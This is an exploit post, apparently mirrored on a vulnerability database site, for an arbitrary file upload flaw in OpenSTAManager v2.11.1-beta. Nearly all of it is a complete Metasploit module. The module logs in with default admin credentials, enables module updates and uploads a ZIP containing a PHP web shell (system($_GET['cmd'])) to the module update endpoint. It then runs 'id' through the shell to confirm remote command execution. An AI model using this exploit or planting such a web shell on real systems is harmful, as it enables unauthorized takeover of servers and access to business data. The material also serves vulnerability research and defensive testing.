OpenSTAManager 2.11.1-beta Module Shell Upload
==================================================================================================================================
| # Title : OpenSTAManager v2.11.1-beta Module Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://openstamanager.com/en/downloads/ |
==================================================================================================================================
[+] Summary : arbitrary file upload vulnerability in OpenSTAManager v2.11.1-beta,affecting the module update endpoint modules/aggiornamenti/upload_modules.php.
[+] Payload :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSTAManager v2.11.1-beta Module Upload ',
'Description' => %q{
OpenSTAManager v2.11.1-beta contains an arbitrary file upload
vulnerability in the module update functionality
(modules/aggiornamenti/upload_modules.php).
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', ''],
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['OpenSTAManager v2.11.1-beta', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-05-04'
))
register_options([
OptString.new('TARGETURI', [true, 'Base path to OpenSTAManager', '/']),
OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']),
OptString.new('MODULE_NAME', [true, 'Module name (alphanumeric and underscores)', Rex::Text.rand_text_alpha(8)])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
})
return CheckCode::Unknown('Connection failed or timed out') unless res
body = res.body.to_s
if body =~ /OpenSTAManager|openstamanager/i
return CheckCode::Detected('OpenSTAManager text found; version and exploitability unconfirmed')
end
CheckCode::Unknown('No OpenSTAManager fingerprint found')
end
def exploit
module_name = datastore['MODULE_NAME']
unless module_name =~ /\A[a-zA-Z0-9_]+\z/
fail_with(Failure::BadConfig, 'MODULE_NAME must contain only alphanumeric characters and underscores')
end
print_status('Attempting login...')
cookie = do_login
fail_with(Failure::NoAccess, 'No session cookie obtained') if cookie.nil? || cookie.empty?
print_status('Session cookie obtained (authentication state UNCONFIRMED)')
enable_updates(cookie)
zip_data = generate_malicious_zip(module_name)
upload_result = upload_zip(cookie, zip_data)
if upload_result[:transport_error]
print_warning("Upload transport error: #{upload_result[:transport_error]}")
print_warning('Installation outcome UNKNOWN: request may or may not have reached the server')
elsif upload_result[:http_code]
print_status("Upload request completed, HTTP status: #{upload_result[:http_code]} (installation success NOT verified)")
end
paths_to_try = [
normalize_uri(target_uri.path, 'modules', 'shell', 'shell.php'),
normalize_uri(target_uri.path, 'modules', 'run', 'evil.php')
]
paths_to_try.each do |shell_uri|
print_status("Trying: #{shell_uri}")
res = send_request_cgi({
'uri' => shell_uri,
'method' => 'GET',
'cookie' => cookie,
'vars_get' => { 'cmd' => 'id' }
})
if res && res.code == 200 && res.body.to_s =~ /uid=\d+/
print_good('Shell responded with uid pattern (exploitation likely, not definitively proven)')
print_good("Shell: #{shell_uri}")
return
end
end
fail_with(Failure::Unknown, 'Could not confirm shell accessibility via known paths (target may still be vulnerable)')
end
def do_login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_get' => { 'op' => 'login' },
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
return nil unless res
cookies = res.get_cookies
return nil if cookies.nil? || cookies.empty?
cookies
end
def enable_updates(cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_get' => { 'a' => 'check_module_updates_settings' },
'vars_post' => { 'Attiva aggiornamenti' => '1' }
})
end
def generate_malicious_zip(module_name)
module_desc = <<~MODULE
name = "#{module_name}"
directory = "#{module_name}"
version = "1.0"
compatibility = "2.10"
options = ""
icon = "fa fa-bug"
parent = "Dashboard"
MODULE
php_payload = "<?php system($_GET['cmd']); ?>"
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{module_name}/MODULE", module_desc)
zip.add_file("#{module_name}/shell.php", php_payload)
zip.pack
end
def upload_zip(cookie, zip_data)
boundary = "----WebKitFormBoundary#{rand_text_alpha(16)}"
data = Rex::MIME::Message.new
data.add_part(zip_data, 'application/zip', 'binary',
"form-data; name=\"blob\"; filename=\"update.zip\"")
data.bound = boundary
begin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'modules', 'aggiornamenti', 'upload_modules.php'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data.to_s
})
if res
return { http_code: res.code, transport_error: nil }
else
return { http_code: nil, transport_error: 'send_request_cgi returned nil (timeout or connection failure)' }
end
rescue ::Rex::ConnectionError => e
return { http_code: nil, transport_error: "Rex connection error: #{e.class}" }
rescue ::Errno::ECONNREFUSED => e
return { http_code: nil, transport_error: "Connection refused: #{e.class}" }
rescue ::Errno::ETIMEDOUT => e
return { http_code: nil, transport_error: "Connection timed out: #{e.class}" }
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Nov 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4